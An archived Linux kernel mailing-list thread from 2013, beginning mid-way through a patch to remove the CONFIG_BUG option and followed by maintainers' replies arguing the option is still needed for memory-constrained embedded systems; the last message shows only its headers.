 arch/x86/Kconfig          |    1 -
 include/asm-generic/bug.h |   29 -----------------------------
 init/Kconfig              |   10 ----------
 lib/Kconfig.debug         |    2 +-
 14 files changed, 3 insertions(+), 52 deletions(-)

diff --git a/arch/arm/Kconfig b/arch/arm/Kconfig
index a7fc5ea..ea4a146 100644
--- a/arch/arm/Kconfig
+++ b/arch/arm/Kconfig
@@ -265,7 +265,6 @@ config PHYS_OFFSET
 
 config GENERIC_BUG
 	def_bool y
-	depends on BUG
 
 source "init/Kconfig"
 
diff --git a/arch/avr32/Kconfig b/arch/avr32/Kconfig
index bdc3558..7c9005a 100644
--- a/arch/avr32/Kconfig
+++ b/arch/avr32/Kconfig
@@ -55,7 +55,6 @@ config GENERIC_CALIBRATE_DELAY
 
 config GENERIC_BUG
 	def_bool y
-	depends on BUG
 
 source "init/Kconfig"
 
diff --git a/arch/blackfin/Kconfig b/arch/blackfin/Kconfig
index a117652..637dc42 100644
--- a/arch/blackfin/Kconfig
+++ b/arch/blackfin/Kconfig
@@ -47,7 +47,6 @@ config GENERIC_CSUM
 
 config GENERIC_BUG
 	def_bool y
-	depends on BUG
 
 config ZONE_DMA
 	def_bool y
diff --git a/arch/h8300/Kconfig b/arch/h8300/Kconfig
index 303e4f9..88848da 100644
--- a/arch/h8300/Kconfig
+++ b/arch/h8300/Kconfig
@@ -56,7 +56,6 @@ config GENERIC_CALIBRATE_DELAY
 
 config GENERIC_BUG
         bool
-        depends on BUG
 
 config TIME_LOW_RES
 	bool
diff --git a/arch/hexagon/Kconfig b/arch/hexagon/Kconfig
index 33a9792..f50cc8f 100644
--- a/arch/hexagon/Kconfig
+++ b/arch/hexagon/Kconfig
@@ -84,7 +84,6 @@ config STACKTRACE_SUPPORT
 
 config GENERIC_BUG
 	def_bool y
-	depends on BUG
 
 menu "Machine selection"
 
diff --git a/arch/parisc/Kconfig b/arch/parisc/Kconfig
index 6507dab..5de1f8c 100644
--- a/arch/parisc/Kconfig
+++ b/arch/parisc/Kconfig
@@ -10,7 +10,6 @@ config PARISC
 	select RTC_CLASS
 	select RTC_DRV_GENERIC
 	select INIT_ALL_POSSIBLE
-	select BUG
 	select HAVE_PERF_EVENTS
 	select GENERIC_ATOMIC64 if !64BIT
 	select ARCH_HAS_ATOMIC64_DEC_IF_POSITIVE
@@ -62,7 +61,6 @@ config ARCH_HAS_ILOG2_U64
 config GENERIC_BUG
 	bool
 	default y
-	depends on BUG
 
 config GENERIC_HWEIGHT
 	bool
diff --git a/arch/powerpc/Kconfig b/arch/powerpc/Kconfig
index c33e3ad..34f4ca9 100644
--- a/arch/powerpc/Kconfig
+++ b/arch/powerpc/Kconfig
@@ -187,7 +187,6 @@ config AUDIT_ARCH
 config GENERIC_BUG
 	bool
 	default y
-	depends on BUG
 
 config SYS_SUPPORTS_APM_EMULATION
 	default y if PMAC_APM_EMU
diff --git a/arch/s390/Kconfig b/arch/s390/Kconfig
index da183c5..5d7b3db 100644
--- a/arch/s390/Kconfig
+++ b/arch/s390/Kconfig
@@ -29,7 +29,7 @@ config GENERIC_HWEIGHT
 	def_bool y
 
 config GENERIC_BUG
-	def_bool y if BUG
+	def_bool y
 
 config GENERIC_BUG_RELATIVE_POINTERS
 	def_bool y
diff --git a/arch/sh/Kconfig b/arch/sh/Kconfig
index 8c868cf..d555e7f 100644
--- a/arch/sh/Kconfig
+++ b/arch/sh/Kconfig
@@ -84,7 +84,7 @@ config RWSEM_XCHGADD_ALGORITHM
 
 config GENERIC_BUG
 	def_bool y
-	depends on BUG && SUPERH32
+	depends on SUPERH32
 
 config GENERIC_CSUM
 	def_bool y
diff --git a/arch/um/Kconfig.common b/arch/um/Kconfig.common
index bceee66..7aae42a 100644
--- a/arch/um/Kconfig.common
+++ b/arch/um/Kconfig.common
@@ -53,7 +53,6 @@ config GENERIC_CALIBRATE_DELAY
 config GENERIC_BUG
 	bool
 	default y
-	depends on BUG
 
 config HZ
 	int
diff --git a/arch/x86/Kconfig b/arch/x86/Kconfig
index 723e42e..a36e1b4 100644
--- a/arch/x86/Kconfig
+++ b/arch/x86/Kconfig
@@ -166,7 +166,6 @@ config GENERIC_ISA_DMA
 
 config GENERIC_BUG
 	def_bool y
-	depends on BUG
 	select GENERIC_BUG_RELATIVE_POINTERS if X86_64
 
 config GENERIC_BUG_RELATIVE_POINTERS
diff --git a/include/asm-generic/bug.h b/include/asm-generic/bug.h
index 7d10f96..5d50903 100644
--- a/include/asm-generic/bug.h
+++ b/include/asm-generic/bug.h
@@ -12,8 +12,6 @@
 #ifndef __ASSEMBLY__
 #include <linux/kernel.h>
 
-#ifdef CONFIG_BUG
-
 #ifdef CONFIG_GENERIC_BUG
 struct bug_entry {
 #ifndef CONFIG_GENERIC_BUG_RELATIVE_POINTERS
@@ -106,33 +104,6 @@ extern void warn_slowpath_null(const char *file, const int line);
 	unlikely(__ret_warn_on);					\
 })
 
-#else /* !CONFIG_BUG */
-#ifndef HAVE_ARCH_BUG
-#define BUG() do {} while(0)
-#endif
-
-#ifndef HAVE_ARCH_BUG_ON
-#define BUG_ON(condition) do { if (condition) ; } while(0)
-#endif
-
-#ifndef HAVE_ARCH_WARN_ON
-#define WARN_ON(condition) ({						\
-	int __ret_warn_on = !!(condition);				\
-	unlikely(__ret_warn_on);					\
-})
-#endif
-
-#ifndef WARN
-#define WARN(condition, format...) ({					\
-	int __ret_warn_on = !!(condition);				\
-	unlikely(__ret_warn_on);					\
-})
-#endif
-
-#define WARN_TAINT(condition, taint, format...) WARN_ON(condition)
-
-#endif
-
 #define WARN_ON_ONCE(condition)	({				\
 	static bool __section(.data.unlikely) __warned;		\
 	int __ret_warn_once = !!(condition);			\
diff --git a/init/Kconfig b/init/Kconfig
index 7fb26a6..bc1dd49 100644
--- a/init/Kconfig
+++ b/init/Kconfig
@@ -1360,16 +1360,6 @@ config PRINTK
 	  very difficult to diagnose system problems, saying N here is
 	  strongly discouraged.
 
-config BUG
-	bool "BUG() support" if EXPERT
-	default y
-	help
-          Disabling this option eliminates support for BUG and WARN, reducing
-          the size of your kernel image and potentially quietly ignoring
-          numerous fatal conditions. You should only consider disabling this
-          option for embedded systems with no facilities for reporting errors.
-          Just say Y.
-
 config ELF_CORE
 	depends on COREDUMP
 	default y
diff --git a/lib/Kconfig.debug b/lib/Kconfig.debug
index 566cf2b..54b3251 100644
--- a/lib/Kconfig.debug
+++ b/lib/Kconfig.debug
@@ -700,7 +700,7 @@ config HAVE_DEBUG_BUGVERBOSE
 
 config DEBUG_BUGVERBOSE
 	bool "Verbose BUG() reporting (adds 70K)" if DEBUG_KERNEL && EXPERT
-	depends on BUG && (GENERIC_BUG || HAVE_DEBUG_BUGVERBOSE)
+	depends on GENERIC_BUG || HAVE_DEBUG_BUGVERBOSE
 	default y
 	help
 	  Say Y here to make BUG() panics output the file name and line number
-- 
1.7.7.6

From - Thu Nov 08 21:09:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Geert Uytterhoeven <geert@linux-m68k.org>
Newsgroups: gmane.linux.ports.ppc.embedded,gmane.linux.ports.sh.devel,gmane.linux.kernel.cross-arch,gmane.linux.uml.devel,gmane.linux.uml.user,gmane.linux.hardware.blackfin.kernel.devel,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.hexagon
Subject: Re: [PATCH] arch: configuration, deleting 'CONFIG_BUG' since always
 need it.
Date: Thu, 23 May 2013 10:40:29 +0200
Lines: 51
Approved: news@gmane.org
Message-ID: <CAMuHMdU7QuzgmWCH145p8PVebBzPo8DBAvbY+0AZa2cmGXmRHw@mail.gmail.com>
References: <519DCBEF.3090208@asianux.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1369298467 18348 80.91.229.3 (23 May 2013 08:41:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 23 May 2013 08:41:07 +0000 (UTC)
Cc: Catalin Marinas <Catalin.Marinas@arm.com>,
 Linux-sh list <linux-sh@vger.kernel.org>,
 Heiko Carstens <heiko.carstens@de.ibm.com>,
 "paulus@samba.org" <paulus@samba.org>, "H. Peter Anvin" <hpa@zytor.com>,
 Michel Lespinasse <walken@google.com>,
 Hans-Christian Egtvedt <egtvedt@samfundet.no>,
 Linux-Arch <linux-arch@vger.kernel.org>, linux-s390@vger.kernel.org,
 Russell King - ARM Linux <linux@arm.linux.org.uk>,
 uml-devel <user-mode-linux-devel@lists.sourceforge.net>,
 Yoshinori Sato <ysato@users.sourceforge.jp>,
 Richard Weinberger <richard@nod.at>, Helge Deller <deller@gmx.de>,
 the arch/x86 maintainers <x86@kernel.org>,
 "James E.J. Bottomley" <jejb@parisc-linux.org>,
 "mingo@redhat.com" <mingo@redhat.com>,
 Frederic Weisbecker <fweisbec@gmail.com>,
 Paul McKenney <paulmck@linux.vnet.ibm.com>,
 =?UTF-8?Q?H=C3=A5vard_Skinnemoen?= <hskinnemoen@gmail.com>,
 Serge Hallyn <serge.hallyn
To: Chen Gang <gang.chen@asianux.com>
Original-X-From: linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org Thu May 23 10:41:03 2013
Return-path: <linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org>
Envelope-to: glppe-linuxppc-embedded-2@m.gmane.org
Original-Received: from ozlabs.org ([203.10.76.45])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org>)
	id 1UfR51-000456-7U
	for glppe-linuxppc-embedded-2@m.gmane.org; Thu, 23 May 2013 10:40:59 +0200
Original-Received: from ozlabs.org (localhost [IPv6:::1])
	by ozlabs.org (Postfix) with ESMTP id 0691D2C03B7
	for <glppe-linuxppc-embedded-2@m.gmane.org>; Thu, 23 May 2013 18:40:58 +1000 (EST)
Original-Received: from mail-pb0-x234.google.com (mail-pb0-x234.google.com
 [IPv6:2607:f8b0:400e:c01::234])
 (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits))
 (Client CN "smtp.gmail.com", Issuer "Google Internet Authority" (not verified))
 by ozlabs.org (Postfix) with ESMTPS id CAE7E2C007E
 for <linuxppc-dev@lists.ozlabs.org>; Thu, 23 May 2013 18:40:31 +1000 (EST)
Original-Received: by mail-pb0-f52.google.com with SMTP id um15so2630228pbc.39
 for <linuxppc-dev@lists.ozlabs.org>; Thu, 23 May 2013 01:40:29 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113;
 h=mime-version:sender:in-reply-to:references:date
 :x-google-sender-auth:message-id:subject:from:to:cc:content-type;
 bh=dOrIeL5M8t/I2WzrQvwUQAGzB/ZShEJgwpXW44EaaeE=;
 b=VF9Uk62GQUyJYEqAn6iCTI9LJfADKMtcK8aEyoDUh4XU3Qxj7+2I0IIbWecK5mJz0V
 7aDcAkOxz/GKz4bxhQbyYXAL7xFABRjsDOp10WKhIxH70RZI6iHRCjPjE2+x+UzU7QLU
 qIwB3UGPKtvAUqoDJd4YOgL2OJpLDOdvEJEyi/LiJLgr5jpucNcE5QtAx/5H8aOHPm5N
 WAewLjjNiF9hzoU4mTv+cg5f8DIiJENUgCIlS2LtS7T8PXLhRQVAQuiN+Ia2mbnK238K
 MpCQVHFwrs/s7JUyxghuDgGZVfUeVa4nnr/6CuJpDVx/r2JSQpcSfeD73hdBlhoRlnKA
 fiAQ==
X-Received: by 10.66.121.108 with SMTP id lj12mr12437335pab.51.1369298429122; 
 Thu, 23 May 2013 01:40:29 -0700 (PDT)
Original-Received: by 10.70.5.129 with HTTP; Thu, 23 May 2013 01:40:29 -0700 (PDT)
In-Reply-To: <519DCBEF.3090208@asianux.com>
X-Google-Sender-Auth: bKXNhSEYZf3F5CE7d3JCvX-CyTQ
X-BeenThere: linuxppc-dev@lists.ozlabs.org
X-Mailman-Version: 2.1.15
Precedence: list
List-Id: Linux on PowerPC Developers Mail List <linuxppc-dev.lists.ozlabs.org>
List-Unsubscribe: <https://lists.ozlabs.org/options/linuxppc-dev>,
 <mailto:linuxppc-dev-request@lists.ozlabs.org?subject=unsubscribe>
List-Archive: <http://lists.ozlabs.org/pipermail/linuxppc-dev/>
List-Post: <mailto:linuxppc-dev@lists.ozlabs.org>
List-Help: <mailto:linuxppc-dev-request@lists.ozlabs.org?subject=help>
List-Subscribe: <https://lists.ozlabs.org/listinfo/linuxppc-dev>,
 <mailto:linuxppc-dev-request@lists.ozlabs.org?subject=subscribe>
Errors-To: linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org
Original-Sender: "Linuxppc-dev"
 <linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org>
Xref: news.gmane.org gmane.linux.ports.ppc.embedded:59489 gmane.linux.ports.sh.devel:23162 gmane.linux.kernel.cross-arch:18000 gmane.linux.uml.devel:13916 gmane.linux.uml.user:14472 gmane.linux.hardware.blackfin.kernel.devel:7084 gmane.linux.ports.arm.kernel:238440 gmane.linux.ports.parisc:5053 gmane.linux.kernel:1495558 gmane.linux.ports.hexagon:577
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.ppc.embedded/59489>

On Thu, May 23, 2013 at 9:57 AM, Chen Gang <gang.chen@asianux.com> wrote:
> The crazy user can unset 'CONFIG_BUG' in menuconfig: "> General setup >
> Configure standard kernel features (expert users) > BUG() Support".
>
> But in fact, we always need it, and quite a few of architectures have

Sorry, but we don't. I think you don't get the meaning of the BUG config symbol
(see below).

> already implemented it (e.g. alpha, arc, arm, avr32, blackfin, cris,
> frv, ia64, m68k, mips, mn10300, parisc, powerpc, s390, sh, sparc, x86).

What do you mean by "already implemented it"? E.g. on m68k, I can disable
or enable CONFIG_BUG. Both work.

> And kernel also already has prepared a default effective implementation
> for the architectures which is unwilling to implement it by themselves
> (e.g. arm64, c6x, h8300, hexagon, m32r, metag, microblaze, openrisc,
> score, tile, um, unicore32, xtensa).

This is not about providing an implementation or not...

> -config BUG
> -       bool "BUG() support" if EXPERT
> -       default y
> -       help
> -          Disabling this option eliminates support for BUG and WARN, reducing
> -          the size of your kernel image and potentially quietly ignoring
> -          numerous fatal conditions. You should only consider disabling this
> -          option for embedded systems with no facilities for reporting errors.
> -          Just say Y.

... It's about reducing memory size on devices where you can't show bug or
warning messages.

> So need get rid of 'CONFIG_BUG', and let it always enabled everywhere.

So please keep it.

Thanks!

Gr{oetje,eeting}s,

                        Geert

--
Geert Uytterhoeven -- There's lots of Linux beyond ia32 -- geert@linux-m68k.org

In personal conversations with technical people, I call myself a hacker. But
when I'm talking to journalists I just say "programmer" or something like that.
                                -- Linus Torvalds

From - Thu Nov 08 21:09:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Arnd Bergmann <arnd@arndb.de>
Newsgroups: gmane.linux.ports.ppc.embedded,gmane.linux.ports.sh.devel,gmane.linux.kernel.cross-arch,gmane.linux.uml.devel,gmane.linux.uml.user,gmane.linux.hardware.blackfin.kernel.devel,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.hexagon
Subject: Re: [PATCH] arch: configuration,
 deleting 'CONFIG_BUG' since always need it.
Date: Thu, 23 May 2013 10:54:10 +0200
Lines: 25
Approved: news@gmane.org
Message-ID: <201305231054.10735.arnd@arndb.de>
References: <519DCBEF.3090208@asianux.com>
 <CAMuHMdU7QuzgmWCH145p8PVebBzPo8DBAvbY+0AZa2cmGXmRHw@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1369299547 29573 80.91.229.3 (23 May 2013 08:59:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 23 May 2013 08:59:07 +0000 (UTC)
Cc: Catalin Marinas <Catalin.Marinas@arm.com>,
 Linux-sh list <linux-sh@vger.kernel.org>, Chen Gang <gang.chen@asianux.com>,
 Heiko Carstens <heiko.carstens@de.ibm.com>,
 "paulus@samba.org" <paulus@samba.org>, "H. Peter Anvin" <hpa@zytor.com>,
 Michel Lespinasse <walken@google.com>,
 Hans-Christian Egtvedt <egtvedt@samfundet.no>,
 Linux-Arch <linux-arch@vger.kernel.org>, linux-s390@vger.kernel.org,
 Russell King - ARM Linux <linux@arm.linux.org.uk>,
 Yoshinori Sato <ysato@users.sourceforge.jp>,
 Richard Weinberger <richard@nod.at>, Helge Deller <deller@gmx.de>,
 the arch/x86 maintainers <x86@kernel.org>,
 "James E.J. Bottomley" <jejb@parisc-linux.org>,
 "mingo@redhat.com" <mingo@redhat.com>,
 Frederic Weisbecker <fweisbec@gmail.com>,
 Paul McKenney <paulmck@linux.vnet.ibm.com>,
 =?utf-8?q?H=C3=A5vard_Skinnemoen?= <hskinnemoen@gmail.com>,
 Serge Hallyn <serge.hallyn@canonical.com>, Mike F
To: Geert Uytterhoeven <geert@linux-m68k.org>
Original-X-From: linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org Thu May 23 10:59:02 2013
Return-path: <linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org>
Envelope-to: glppe-linuxppc-embedded-2@m.gmane.org
Original-Received: from ozlabs.org ([203.10.76.45])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org>)
	id 1UfRMP-0005kb-V0
	for glppe-linuxppc-embedded-2@m.gmane.org; Thu, 23 May 2013 10:58:58 +0200
Original-Received: from ozlabs.org (localhost [IPv6:::1])
	by ozlabs.org (Postfix) with ESMTP id B8B482C0361
	for <glppe-linuxppc-embedded-2@m.gmane.org>; Thu, 23 May 2013 18:58:56 +1000 (EST)
Original-Received: from moutng.kundenserver.de (moutng.kundenserver.de [212.227.17.9])
 (using TLSv1 with cipher RC4-SHA (128/128 bits))
 (Client did not present a certificate)
 by ozlabs.org (Postfix) with ESMTPS id 10B012C007E
 for <linuxppc-dev@lists.ozlabs.org>; Thu, 23 May 2013 18:58:36 +1000 (EST)
Original-Received: from klappe2.localnet
 (HSI-KBW-095-208-002-043.hsi5.kabel-badenwuerttemberg.de [95.208.2.43])
 by mrelayeu.kundenserver.de (node=mreu1) with ESMTP (Nemesis)
 id 0MErYk-1UiCQd1x5W-00GHTY; Thu, 23 May 2013 10:54:18 +0200
User-Agent: KMail/1.12.2 (Linux/3.8.0-22-generic; KDE/4.3.2; x86_64; ; )
In-Reply-To: <CAMuHMdU7QuzgmWCH145p8PVebBzPo8DBAvbY+0AZa2cmGXmRHw@mail.gmail.com>
X-Provags-ID: V02:K0:qbEMvK57+qoh7xTyY0WJbXLJE/hxLRiJYsF7YwhhhBg
 4ltNzCKCYOy56hvL2S6bUtxSDGgZ/YoS8wATCY4aoNWmKPzYv6
 EknZk2dfRav8X9LUNbzoWo6/J/LFZ3m8qSCBdpj0Pq5NsCQ/Mb
 vC6YkYlSNhuBEh3LVTSBDwgk7CsSI99tzpEixQR12FFESZDVMr
 W9GCl099yZDU4d9B02ohlgUJXrDLI1asjOqtjRzFAgFDEDwe9E
 NRxq6XMkvpbnBWHIoso1DvJQB4cqEdYPrCaI9QCwxBLviDCjJa
 ozVRI2Agvtbv47/AaN2kVh3KzTb/gK/v5pwYZ3YXJCoSwLNR5C
 EfAvISNwjdyNNCO8ZHJY=
X-BeenThere: linuxppc-dev@lists.ozlabs.org
X-Mailman-Version: 2.1.15
Precedence: list
List-Id: Linux on PowerPC Developers Mail List <linuxppc-dev.lists.ozlabs.org>
List-Unsubscribe: <https://lists.ozlabs.org/options/linuxppc-dev>,
 <mailto:linuxppc-dev-request@lists.ozlabs.org?subject=unsubscribe>
List-Archive: <http://lists.ozlabs.org/pipermail/linuxppc-dev/>
List-Post: <mailto:linuxppc-dev@lists.ozlabs.org>
List-Help: <mailto:linuxppc-dev-request@lists.ozlabs.org?subject=help>
List-Subscribe: <https://lists.ozlabs.org/listinfo/linuxppc-dev>,
 <mailto:linuxppc-dev-request@lists.ozlabs.org?subject=subscribe>
Errors-To: linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org
Original-Sender: "Linuxppc-dev"
 <linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org>
Xref: news.gmane.org gmane.linux.ports.ppc.embedded:59491 gmane.linux.ports.sh.devel:23163 gmane.linux.kernel.cross-arch:18001 gmane.linux.uml.devel:13917 gmane.linux.uml.user:14473 gmane.linux.hardware.blackfin.kernel.devel:7085 gmane.linux.ports.arm.kernel:238451 gmane.linux.ports.parisc:5054 gmane.linux.kernel:1495571 gmane.linux.ports.hexagon:578
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.ppc.embedded/59491>

On Thursday 23 May 2013, Geert Uytterhoeven wrote:
> > -config BUG
> > -       bool "BUG() support" if EXPERT
> > -       default y
> > -       help
> > -          Disabling this option eliminates support for BUG and WARN, reducing
> > -          the size of your kernel image and potentially quietly ignoring
> > -          numerous fatal conditions. You should only consider disabling this
> > -          option for embedded systems with no facilities for reporting errors.
> > -          Just say Y.
> 
> ... It's about reducing memory size on devices where you can't show bug or
> warning messages.
> 
> > So need get rid of 'CONFIG_BUG', and let it always enabled everywhere.
> 
> So please keep it.

Agreed. The one annoying property of disabling BUG() support is that it causes
a large number of build warnings since the compiler now has to assume that a lot
of code is reachable when it is normally annotate as unreachable.

When I do "randconfig" tests, I always turn on CONFIG_BUG because of this.

	Arnd

From - Thu Nov 08 21:09:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Russell King - ARM Linux <linux-lFZ/pmaqli7XmaaqVzeoHQ@public.gmane.org>
Newsgroups: gmane.linux.hardware.blackfin.kernel.devel,gmane.linux.ports.sh.devel,gmane.linux.kernel.cross-arch,gmane.linux.uml.devel,gmane.linux.uml.user,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH] arch: configuration,
	deleting 'CONFIG_BUG' since	always need it.
Date: Thu, 23 May 2013 10:05:34 +0100
Lines: 25
Approved: news@gmane.org
Message-ID: <20130523090534.GJ18614@n2100.arm.linux.org.uk>
References: <519DCBEF.3090208@asianux.com>
	<CAMuHMdU7QuzgmWCH145p8PVebBzPo8DBAvbY+0AZa2cmGXmRHw@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1369300371 5642 80.91.229.3 (23 May 2013 09:12:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 23 May 2013 09:12:51 +0000 (UTC)
Cc: Linux-sh list <linux-sh-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
        Catalin Marinas <Catalin.Marinas-5wv7dgnIgG8@public.gmane.org>,
        Benjamin Herrenschmidt <benh-XVmvHMARGAS8U2dJNN8I7kB+6BGkLq7r@public.gmane.org>,
        Chen Gang <gang.chen-bOixZGp5f+dBDgjK7y7TUQ@public.gmane.org>,
        Heiko Carstens <heiko.carstens-tA70FqPdS9bQT0dZR+AlfA@public.gmane.org>,
        "paulus-eUNUBHrolfbYtjvyW6yDsg@public.gmane.org" <paulus-eUNUBHrolfbYtjvyW6yDsg@public.gmane.org>,
        "H. Peter Anvin" <hpa-YMNOUZJC4hwAvxtiuMwx3w@public.gmane.org>,
        Michel Lespinasse <walken-hpIqsD4AKlfQT0dZR+AlfA@public.gmane.org>,
        Hans-Christian Egtvedt <egtvedt-BrfabpQBY5qlHtIdYg32fQ@public.gmane.org>,
        Linux-Arch <linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>, linux-s390-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
        uml-devel <user-mode-linux-devel-5NWGOfrQmneRv+LV9MX5uipxlwaOVQ5f@public.gmane.org>,
        Yoshinori Sato <ysato-Rn4VEauK+AKRv+LV9MX5uooqe+aC9MnS@public.gmane.org>,
        Richard Weinberger <richard-/L3Ra7n9ekc@public.gmane.org>, Helge Deller <deller-Mmb7MZpHnFY@public.gmane.org>,
        the arch/x86 maintainers <x86-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org>,
        "James E.J. Bottomley" <jejb-6jwH94ZQLHl74goWV3ctuw@public.gmane.org>,
        "mingo-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org" <mingo-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>,
        Frederic Weisbecker <fweis
To: Geert Uytterhoeven <geert-Td1EMuHUCqxL1ZNQvxDV9g@public.gmane.org>
Original-X-From: uclinux-dist-devel-bounces-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org Thu May 23 11:12:47 2013
Return-path: <uclinux-dist-devel-bounces-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org>
Envelope-to: glhbkd-uclinux-dist-devel-Uylq5CNFT+jYtjvyW6yDsg@public.gmane.org
Original-Received: from blackfin.uclinux.org ([66.11.68.51])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <uclinux-dist-devel-bounces-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org>)
	id 1UfRZn-0004BA-9K
	for glhbkd-uclinux-dist-devel-Uylq5CNFT+jYtjvyW6yDsg@public.gmane.org; Thu, 23 May 2013 11:12:47 +0200
Original-Received: from blackfin.uclinux.org (blackfin.uclinux.org [127.0.0.1])
	by blackfin.uclinux.org (8.14.3/8.14.3/Debian-5+lenny1) with ESMTP id r4N8im2K008731;
	Thu, 23 May 2013 04:44:48 -0400
Original-Received: from caramon.arm.linux.org.uk (caramon.arm.linux.org.uk
	[78.32.30.218])
	by blackfin.uclinux.org (8.14.3/8.14.3/Debian-5+lenny1) with ESMTP id
	r4N8iW8V008231 for <uclinux-dist-devel-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org>;
	Thu, 23 May 2013 04:44:38 -0400
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=arm.linux.org.uk; s=caramon; 
	h=Sender:In-Reply-To:Content-Type:MIME-Version:References:Message-ID:Subject:Cc:To:From:Date;
	bh=u6bqXITt0qZvOCha9SwJlRg4ZTnwcpYfGgR6LM3Vbok=; 
	b=MStONF5GJlrj4mU1AVh2zmgWxIWokK69gBAuw7NTvD2/fpVTcl/EyEjKSTRAH1cBQboiquBmYuB1L4KOXHbUSBiVUOK3XwTe85nN22r//rrGfloLOYftfP+I591lfvPZTDwCS8+biHSWIj2CmzJwGeDYPQVnO7U6HHByB5d8tUc=;
Original-Received: from n2100.arm.linux.org.uk
	([2002:4e20:1eda:1:214:fdff:fe10:4f86]:51517)
	by caramon.arm.linux.org.uk with esmtpsa (TLSv1:AES256-SHA:256)
	(Exim 4.76) (envelope-from <linux-lFZ/pmaqli7XmaaqVzeoHQ@public.gmane.org>)
	id 1UfRSr-0005EZ-4r; Thu, 23 May 2013 10:05:37 +0100
Original-Received: from linux by n2100.arm.linux.org.uk with local (Exim 4.76)
	(envelope-from <linux-l+eeeJia6m9vn6HldHNs0ANdhmdF6hFW@public.gmane.org>)
	id 1UfRSp-0001If-Ap; Thu, 23 May 2013 10:05:35 +0100
Content-Disposition: inline
In-Reply-To: <CAMuHMdU7QuzgmWCH145p8PVebBzPo8DBAvbY+0AZa2cmGXmRHw-JsoAwUIsXosN+BqQ9rBEUg@public.gmane.org>
User-Agent: Mutt/1.5.19 (2009-01-05)
X-BeenThere: uclinux-dist-devel-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org
X-Mailman-Version: 2.1.11
Precedence: list
List-Id: <uclinux-dist-devel.blackfin.uclinux.org>
List-Unsubscribe: <https://blackfin.uclinux.org/mailman/options/uclinux-dist-devel>,
	<mailto:uclinux-dist-devel-request-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org?subject=unsubscribe>
List-Archive: <http://blackfin.uclinux.org/pipermail/uclinux-dist-devel>
List-Post: <mailto:uclinux-dist-devel-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org>
List-Help: <mailto:uclinux-dist-devel-request-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org?subject=help>
List-Subscribe: <https://blackfin.uclinux.org/mailman/listinfo/uclinux-dist-devel>,
	<mailto:uclinux-dist-devel-request-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org?subject=subscribe>
Original-Sender: uclinux-dist-devel-bounces-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org
Errors-To: uclinux-dist-devel-bounces-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org
